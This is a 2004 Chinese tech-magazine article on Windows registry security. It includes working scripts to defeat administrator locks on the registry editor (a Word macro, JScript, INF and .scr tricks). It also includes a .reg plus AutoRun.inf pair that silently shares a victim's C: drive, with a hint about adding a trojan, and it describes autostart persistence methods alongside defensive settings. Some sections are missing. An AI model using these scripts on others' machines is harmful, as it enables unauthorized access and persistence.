2004年11月03日08:47


精简注册表高级用法——安全篇

  笔者发现现在介绍注册表的书籍的重点内容都讲解注册表关于个性化设置和系统优化等部分,而对于现实网络环境下日益猖獗的“黑客”行为、木马病毒以及那些令人恶心的恶意网站却关注甚少。笔者在此就注册表有关安全内容略加阐述,希望能起抛砖引玉之效。

  一、注册表与“黑客”行为

  “黑客”利用注册表主要包括:

  A:突破部分网管软件限制

  B:共享特定硬盘分区并运行指定程序

  C:启动黑客程序等三方面,而其中又属B、C两方面危害较大。

  1、突破部分网管软件限制

  现在流行的网管软件基本上都可以对PC机采取隐藏桌面和硬盘特定分区、禁止修改IE浏览器、隐藏“开始”工具栏,封锁注册表编辑器regedit.exe等诸多限制,有的网吧管理员甚至到了变态的地步。于是“自由的战士”便开始利用注册表进行大突围。

  

  Word也可以给注册表解锁?没错!我们利用的是微软在Word中提供的“宏”,没想到吧?具体方法是:运行Word,然后编写如下面所示的这个“Unlock”宏,即可给注册表解锁:

  Sub Unlock()

  Dim RegPath As String

  RegPath = “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System”

  System.PrivateProfileString(FileName:=“”,Section:=RegPath,Key:=“Disableregistrytools”)=“OK!”

  End Sub

  ③用JavaScript、VBScript脚本语言解锁

  脚本语言解锁注册表,这个没的说,很多恶意网站就是靠它来锁住我们的注册表,现在我们反其道行之用它来解锁注册表。这里只给出JavaScript的核心代码。用记事本编辑如下内容的文件,保存为以.js为后缀名的任意文件,使用时双击就可以了。

  VAR WSHShell=WSCRIPT.CREA-TOBJEt(“WSCRIPT.SHELL”);

  WSHShell.Popup(“解锁注册表”);

  WSHShell.RegWrite(“HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\

  system\\DisableRegistryTools”, 0,“reg_dword”);

  需要注意:用JS对键值进行操作时要用两斜杠“\\”,并且要用“;”表示结束.

  ④利用SCR文件给注册表解锁

  众所周知,SCR文件是屏保文件,SCR文件如何用来解锁注册表呢?方法是将注册表编辑器regedit.exe改名为Regedit.scr。然后,在桌面上点击鼠标右键,在弹出菜单中选择“属性”,在弹出的“显示属性”对话框中选中“屏幕保护程序”,在“屏幕保护程序”下拉列表框中找到Regedit这个“屏保文件”(图1),最后点击“预览”按纽,你会发现注册表编辑器成功地打开了。再更改相关键值,重启计算机后就可以给注册表解锁了!(记着把SCR文件改回哦!)

  

  ⑤用INF文件解锁

  在Windows中有一种后缀为INF的驱动安装文件,它实际上是一种脚本语言,通过解释来执行。它包含了设备驱动程序的所有安装信息,其中也有涉及修改注册表的相关语句,所以我们也可以利用INF文件对注册表解锁。

  [Version]

  Signature=“$CHICAGO$”

  [DefaultInstall]

  DelReg=UnLock

  [UnLock]

  HKCU,Software\Microsoft\Windows\CurrentVersion\Policies\

  System,Disableregistrytools,

  1,00,00,00,00

  将上面的内容另存为后缀名是.inf的文件,使用时只要右键点击它,在弹出菜单中选择“安装”即可给注册表解锁(如图2)。

  

  首先我们打开记事本编辑reg文件如下:

  REGEDIT4

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

  \CurrentVersion\Network\Lanman\C$]

  //这里我只共享了C盘,需要的可以再加

  “Path”=”C:\\”

  “Remark”=“ ”

  “Type”=dword:00000000

  “Flags”=dword:00000192

  “Parm1enc”=hex:

  “Parm2enc”=hex:

  然后另存为ShareDrives.reg文件。  再打开记事本,键入以下内容:

  [AutoRun]

  open=regedit /s ShareDrives.reg // 这里/s参数作用是导入注册表信息不显示任何提示

  再另存为AutoRun.inf文件。

  将这两个文件复制到对方共享出来的驱动盘根目录下,此后只要双击共享出来的驱动盘就会自动将ShareDrives.reg文件导入注册表,对方重启系统后C盘也就共享出来了。试想想,我们如果在 “open=…”句后添上木马名并将已配置好的木马服务端一起复制过去,以后会怎样?

  那么如何对付这种攻击呢?因为硬盘根目录下基本不需要AutoRun.inf文件来运行程序,因此我们可以采用一个一劳永逸的办法就是将硬盘的AutoRun功能完全关闭,这样即使硬盘根目录下有AutoRun.inf文件,操作系统也不会运行指定的程序。Win98为例,打开注册表编辑器,找到[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]主键,在注册表编辑器右侧框中可以看到有二进制值“NoDriveTypeAutoRun”,最后只需要将其数据数值由默认的“95 00 00 00”改为“9d 00 00 00”就可以了。其原理我就不在讲解了。

  3、启动黑客程序

  利用注册表启动黑客程序,目的是想每次开机启动时自动运行黑客程序,这同时也是很多木马病毒自启动常用的方法之一。普遍的方法是在将黑客程序名及参数添加到注册表相应的键值下,这样一来,每次开机时计算机将自动加载相应的注册表项,进而使黑客程序达到常驻内存的目的。另外还有更为隐蔽的方法会在“注册表与木马病毒”部分详细介绍。

  下面我们打开注册表编辑器,查看:

  HKEY_LOCAL_MACHINE\Software\Microsoft

  \Windows\CurrentVersion下所有以“run”开头的键值;

  HKEY_CURRENT_USER\Software\Microsoft

  \Windows\CurrentVersion下所有以“run”开头的键值;

  HKEY_USERS\.Default\Software\ Microsoft\Windows\CurrentVersion下所有以“run”开头的键值。

  如果发现未知不明的键值,可很有可能就是非法植入的程序。

  二、注册表与病毒

  下面我们来看看病毒是如何利用注册表的。一般,病毒会利用注册表来得到系统的基本信息,例如操作系统类型、系统安装的服务程序、IE、OutLook等应用软件的版本信息等等。这主要是为了探测系统及软件本身的漏洞然后加以利用。更主要的,病毒是想通过注册表实现黑客程序一样的目的——开机自启,常驻内存。只有这样,病毒才能感染其他机器和文件,才有机会进行“破坏”。

  打开注册表编辑器,我们找到:

  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值;

  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值;

  HKEY_USERS\.Default\Software\ Microsoft\Windows\CurrentVersion下所有以“run”开头的键值。

  大部分病毒都会悄悄的在上述三个位置安家。这时我们只需要删除相应的键值再删除掉病毒程序就可以了。

  此外,病毒还可以把自己注册为系统服务来达到更为隐蔽的开机自启的目的。其基本原理是利用在WIN2K中,“启动类型”设置为“自动”的服务,启动时系统就会自动运行,所以,病毒只需将自身添加到系统服务中,并将“启动类型”设置为“自动”就可以每次启动系统时都自动运行病毒程序。其在注册表中的位置如下:  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ServiceName\Parameters]

  “Application”= “C:\\winnt\\system32\\ ServiceName.exe

  其中:ServiceName就是病毒名。

  不过病毒将自身注册为系统的“服务”程序还有一个缺点,就是在“系统配置实用程序”(在“开始→运行”中执行“Msconfig”)的“启动”项和“服务”项中可以看得到。那么有没有比这更隐蔽的方法呢?答案是肯定的。在“开始→运行”中执行“Gpedit.msc”。 打开“组策略”,可看到“本地计算机策略”中有两个选项:“计算机配置”与“用户配置”,展开“用户配置→管理模板→系统→登录”,双击“在用户登录时运行这些程序”子项进行属性设置,选定“设置”项中的“已启用”项并单击“显示”按钮弹出“显示内容”窗口,再单击“添加”按钮,在“添加项目”窗口内的文本框中输入要自启动的程序的路径,单击“确定”按钮就完成了。如图3所示:

  

  

  其实恶意网站所使用的技术并不复杂,只要懂一点JavaScript、VBScript脚本语言编程和ActiveX控件原理就可以。所以在这我就不一一列举,而是重点介绍一下如何在技术上防范和杜绝这些恶意网站。

  常用方法是在IE设置中将ActiveX插件和控件、Java脚本等全部禁止。方法是:打开IE,点击[工具]→[Internet选项]→[安全]→[自定义级别],在“安全设置”对话框中,将其中所有的ActiveX插件和控件以及与Java相关的组件全部禁止即可。如图4 所示:

  

  另外我们还可以卸载WSH或升级到WSH5.6。WSH(Windows Script Host)是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制。利用WSH,用户能够操纵WSH对象、ActiveX对象、注册表和文件系统,在NT环境下还可以利用WSH访问活动目录服务。

  卸载方法:进入“控制面板”,选择“添加/删除程序”,切换到“Windows安装程序”,选择“附件”,再选择“详细资料”中的Windows Scripting Host,最后点击“确定”即可卸载。

  其实,为了避免Windows对脚本不加限制的滥用,微软为WSH5.6采用了一种新的安全模型,使得脚本用户在运行脚本之前验证其真实性。脚本开发人员对其脚本进行签名,以免发生未经授权的修改。管理员可以强制实施严格的策略,确定哪些用户有权在本地或远程运行脚本。在Windows 2000中,签名验证策略是通过“本地安全策略”编辑器设置的。签名验证策略注册表项位于以下配置单元:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows ScriptHost\Settings\TrustPolicy,该注册表项设置为以下某个REG_DWORD值:如果为0则运行所有的脚本,如果认为脚本不可信,则提示用户,此时键值可设为1,如果键值为2则只运行可信脚本。建议将该DWORD值设为1。

  四、小结

  有关注册表与安全的话题笔者就讲到这,笔者只是指出了这个安全话题的冰山一角,还有很多安全问题由于时间和篇幅的限制就不再一一说明,例如防范共享入侵和禁止空连接,防止ICMP重定向报文的攻击,防止SYN洪水攻击等等很多经典的安全问题都和注册表息息相连。笔者只是希望就此话题引起大家足够认识,并且在以后实际工作、学习中遇到问题能够拓开思路,灵活多变。最后需指出,技术只是解决问题的一个方面,对人的管理很多时候更为重要!

(责任编辑:陈健)
软件学园

字号 】 【关闭窗口
打印版 察看感言 Email推荐
内容


热门评论文章

请 注 意
  1. 遵守中华人民共和国有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。
  2. 人民网拥有管理笔名和留言的一切权力。
  3. 您在人民网留言板发表的言论,人民网有权在网站内转载或引用。
  4. 如您对管理有意见请向留言板管理员人民日报网络中心反映。
关键词:



镜像:日本  教育网  科技网
E_mail:info@peopledaily.com.cn 新闻线索:rm@peopledaily.com.cn

人民日报社概况 | 关于人民网 | 招聘英才 | 帮助中心 | 广告服务 | 合作加盟 | 网站声明 | 联系我们 | ENGLISH  京ICP证000006号
人 民 网 版 权 所 有 ,未 经 书 面 授 权 禁 止 使 用
Copyright © 2002 by www.people.com.cn. all rights reserved